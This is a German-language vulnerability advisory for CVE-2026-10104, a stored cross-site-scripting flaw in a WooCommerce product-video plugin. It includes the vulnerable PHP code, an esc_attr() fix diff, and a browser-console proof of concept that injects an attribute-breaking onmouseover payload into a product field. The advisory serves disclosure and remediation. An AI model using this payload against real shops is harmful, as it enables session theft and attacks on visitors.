CVE-2026-10104: Gespeichertes Cross-Site-Scripting in der Produktvideo-Galerie für WooCommerce

Zusammenfassung

Beschreibung

Das Product Video Gallery for WooCommerce-Plugin für WordPress (Versionen bis einschließlich 1.5.1.6) ist anfällig für gespeichertes Cross-Site-Scripting (XSS) über den custom_thumbnail-Produktmetaparameter.

Die Methode save_wc_video_url_field() des Plugins bereinigt den POST-Parameter custom_thumbnail[] mit sanitize_text_field(), was HTML-Tags entfernt, aber doppelte Anführungszeichen (") nicht entfernt. Auf der Frontend-Seite wird der gespeicherte Wert in der Methode nickx_get_video_thumbanil_html() direkt in die Attribute eines ``-Tags eingefügt, ohne esc_attr()-Escaping. Dies ermöglicht es einem authentifizierten Angreifer, beliebige HTML-Event-Handler-Attribute (z. B. onmouseover, onerror) zu injizieren, die JavaScript im Browser jedes Besuchers – einschließlich nicht authentifizierter Benutzer – ausführen, der die betroffene Produktseite aufruft.

CVSS 3.1 Vektor

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Betroffener Code

Senke (Ausgabe – Kein Escaping)

Datei: public/class-rendering.php
Methode: nickx_get_video_thumbanil_html()

// Zeile 365 – Wert ohne esc_attr() eingefügt
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// Zeile 379 – innerhalb des -Tags auf der öffentlichen Frontend-Seite ausgegeben
echo '';

Quelle (Speichern – Unzureichende Bereinigung)

Datei: admin/class-video-field.php
Methode: save_wc_video_url_field()

// Zeile 309-310 – sanitize_text_field() entfernt Tags, aber NICHT doppelte Anführungszeichen
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}

Proof of Concept

Voraussetzungen

• WordPress mit installiertem WooCommerce
• Plugin: Product Video Gallery for WooCommerce ≤ 1.5.1.6
• Ein WooCommerce-Produkt, für das eine YouTube-Video-URL konfiguriert ist
• Ein Konto mit Produktbearbeitungsrechten (Shop-Manager, Autor usw.)

Schritte zur Reproduktion

1. Melden Sie sich als Shop-Manager (Angreifer) an.

2. Navigieren Sie zu Produkte → Bearbeiten eines beliebigen Produkts, bei dem im Feld „Product Video Url“ eine Video-URL festgelegt ist.

3. Öffnen Sie die Entwicklertools des Browsers (F12) → Tab Konsole.

4. Fügen Sie das folgende JavaScript ein und führen Sie es aus:

const form = document.getElementById('post');

// Thumbnail-ID auf einen nicht leeren Wert setzen (erforderlich für die Render-Bedingung)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// XSS-Payload via custom_thumbnail injizieren
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);

5. Klicken Sie auf „Aktualisieren“, um das Produkt zu speichern.

6. Öffnen Sie die Produktseite im Frontend in einem Inkognito-/privaten Fenster (nicht authentifiziert).

7. Bewegen Sie die Maus über das Video-Thumbnail in der Produktgalerie.

8. ✅ Der JavaScript-Alert wird ausgeführt, was das Stored XSS bestätigt.

Gerenderte Ausgabe

Das injizierte " schließt das custom_thumbnail-Attribut, und onmouseover wird zu einem neuen ausführbaren Attribut auf dem ``-Element.

Auswirkungen

• Stored XSS wird auf der öffentlichen Frontend-Seite für alle Besucher ausgeführt, einschließlich nicht authentifizierter Benutzer
• Angreifer können Sitzungscookies stehlen und Admin-Konten kapern
• Angreifer können Kunden auf Phishing- oder Malware-Verteilungsseiten umleiten
• Angreifer können Produktseiten verunstalten oder Cryptominer injizieren
• Für die Ausnutzung ist nur Zugriff auf Beitragsautoren-Ebene erforderlich

Abhilfe

Wenden Sie esc_attr() auf den benutzerdefinierten Thumbnail-Wert an, bevor Sie ihn in das HTML-Attribut einfügen:

- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';

Diese Korrektur sollte auf alle Stellen in nickx_get_video_thumbanil_html() angewendet werden, an denen $custom_thumbnail konstruiert wird (sowohl der Array- als auch der Nicht-Array-Codepfad).

Offenlegungszeitplan

Danksagungen

• Entdeckt von: Ravindu Lakmina Munaweera
• CVE zugewiesen von: Wordfence (CNA)
• CVE ORG

Referenzen

• CVE-2026-10104
• WordPress Plugin-Seite
• Wordfence-Schwachstellendatenbank-Eintrag
• CWE-79: Cross-site Scripting
• OWASP XSS Prevention Cheat Sheet

Lizenz

Dieses Advisory wird unter CC BY 4.0 veröffentlicht.